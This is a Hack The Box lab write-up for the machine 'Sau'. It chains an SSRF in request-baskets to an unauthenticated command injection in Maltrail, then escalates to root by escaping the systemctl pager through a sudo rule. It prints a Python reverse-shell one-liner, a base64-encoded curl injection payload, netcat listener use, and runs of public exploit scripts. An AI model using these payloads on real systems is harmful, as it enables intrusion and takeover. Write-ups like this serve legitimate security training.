HTB Sau Writeup

Sau is a HTB machine with the difficulty rating of Easy. Easy machines tend to run vulnerable services that one can find ready-made scripts that require no, or little, modifications to exploit for a shell. Often what is required to pwn an easy box is simply a bit of google-fu and some reading.

Initial enumeration

As usual, we start our enumeration of the HTB server with an Nmap scan. Since we’re not worried about detection we can do a high speed (-T4) Syn scan with the flag -A, which runs OS and version detection, scrip scanning and traceroute.

I have cut down the output some:

sudo nmap -sS 10.10.11.224  -A -T4 -oN nmap_scan

Nmap scan report for 10.10.11.224
Host is up (0.23s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
|   256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_  256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
80/tcp    filtered http
55555/tcp open     unknown
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Thu, 26 Oct 2023 03:19:01 GMT
|     Content-Length: 75
|     invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Content-Type: text/html; charset=utf-8
|     Location: /web
|     Date: Thu, 26 Oct 2023 03:18:30 GMT
|     Content-Length: 27
|     href="/web">Found</a>.
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Allow: GET, OPTIONS
|     Date: Thu, 26 Oct 2023 03:18:31 GMT
|_    Content-Length: 0

Filtered ports

We see that port 80 is filtered. This means that Nmap cannot determine wether the port is open or not because packet filtering from either a dedicated firewall, firewall sowftware on the server, or router rules is preventing Nmap from probing it. There might be an internal service on port 80, but we can’t reach it from the outside.

Port 55555, however, is serving HTTP and redirects to /web, so we’ll have a look there.

When connecting to http://10.10.11.224:55555 in the browser, we see that the service running is requests-baskets, which is a service that allows the user to collect, and inspect, arbitrary HTTP requests, and it so happens that this version (1.2.1) has a SSRF-vulnerability.

Server-side request forgery (SSRF)

SSRF is a vulnerability where an attacker can exploit the server-side application so that it makes requests to an unintended location. This could mean that the attacker can make the server connect to an internal service, either within the internal network, or (as in the case of this box) on the same server. Sometimes the server running the application can interact with internal resources not directly accessible to the outside user. As these are only meant for internal acces, they can have sensitive functionality accessible without authentication, which could then be abused.

An SSRF attack can thus lead to exfiltration of sensitive data, or even allow the attacker to perform command execution, which could lead to a foothold on the server (reverse shell connection). Sometimes an SSRF can be used to attack a third-party system, where the attack then would appear to have originated from the organization that hosts the vulnerable application.

Setting up SSRF on request-baskets

So what we’ll do is that we will create a new basket and point it to the internal service on TCP port 80 by setting the forward URL to localhost (127.0.0.1). This will make the server connect to itself on port 80, and since this request comes from the server itself it will not be blocked from accessing the service. This enable us to see what hides behind the filtered port.

After having created our new basket, we’ll go to it’s settings panel and make the required changes. Besides setting the Forward URL we will enable Insecure TLS to bypass certificate verification, Proxy Response so the response of the forwarded server is sent back to our client, and Expand Forward Path to make the forward url path expanded when the original HTTP request contains compound path.

When we visit our basket (http://10.10.11.224:55555/tuxpad) we can now see what service is hiding from us.

The service is Mailtrail, a malicious traffic detection system, written in Python. The version running on this server is 0.53, that a quick google search turns out to have a command injection vulnerability.

Crafting payload

Since we know that the server is running Mailtrail, and Mailtrail is written in Python, we know that Python is installed on the server, and can be used for getting a reverse shell connection.

Here’s an example of a python reverse shell oneliner.

python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.3",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

As we’re going to send it using cURL, the quotation marks are going to mess things up, therefore we need to send it encoded as base64.

cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxvcyxwdHk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5B
Rl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMTAuMTYuMyIsMTMzNykp
O29zLmR1cDIocy5maWxlbm8oKSwwKTtvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZp
bGVubygpLDIpO3B0eS5zcGF3bigiL2Jpbi9zaCIpJwo=

We can add the payload to the ‘username’ parameter as we saw in the PoC on huntr, pipe it to base64 to decode it and then pipe it to the shell so that it runs, not forgetting to replace the spaces with + as it is sent as a HTTP request.

curl 'http://10.10.11.224:55555/tuxpad' --data 'username=;`echo+"cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxvcyxwdHk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMTAuMTYuMyIsMTMzNykpO29zLmR1cDIocy5maWxlbm8oKSwwKTtvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO3B0eS5zcGF3bigiL2Jpbi9zaCIpJwo="+|+base64+-d+|+sh`'

Now that we have our exploit ready to go, we’ll need to change the settings of our basket so that our request is forwarded to the Mailtrail login page, set up a Netcat listener for the specified port (1337) and send the cURL request.

nc -nlvp 1337
listening on [any] 1337 ...
connect to [10.10.16.39] from (UNKNOWN) [10.10.11.224] 53640
$ id
id
uid=1001(puma) gid=1001(puma) groups=1001(puma)

We have a shell! We can now collect out first flag in /home/puma/user.txt

Privilege escalation

$ sudo -l
sudo -l
Matching Defaults entries for puma on sau:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
$

We can see that the user may run systemctl status trail.service without supplying a password. Systemctl displays the results in a pager, which might allow us to use the escape character ! to invoke a shell that we can run commands in as the user that started systemctl as. Because we ran systemctl as root, this could allow us to spawn a root shell.

$ sudo systemctl status trail.service
sudo systemctl status trail.service
WARNING: terminal is not fully functional
-  (press RETURN)!sh
# id
id
uid=0(root) gid=0(root) groups=0(root)
# 

It worked, and we have pwnd the box! Collect the flag from /root/root.txt

Getting a shell Ez-mode

When googling the services running on the server, we can find github repos with scripts to automatically create a basket and to exploit Mailtrail.

PoC of SSRF on Request-Baskets (CVE-2023-27163)

Weaponized Exploit for Maltrail v0.53 Unauthenticated OS Command Injection (RCE)

All we need to do for a quick foothold is to run the scripts.

./CVE-2023-27163.sh http://10.10.11.224:55555 http://127.0.0.1:80/login
Proof-of-Concept of SSRF on Request-Baskets (CVE-2023-27163) || More info at https://github.com/entr0pie/CVE-2023-27163


> Basket created!
> Accessing http://10.10.11.224:55555/yjiunc now makes the server request to http://127.0.0.1:80/login.
> Authorization: UtgSLWVz0FClB1KD_hOnr17bkLxqf7WEb5xxeVnqUXGD

After getting the basket, just run the mailtrail exploit script with your IP, listening port and the address to the basket we got from the first script (don’t forget to start a Netcat listener).

python3 exploit.py 10.10.16.3 1337 http://10.10.11.224:55555/yjiunc
Running exploit on http://10.10.11.224:55555/yjiunc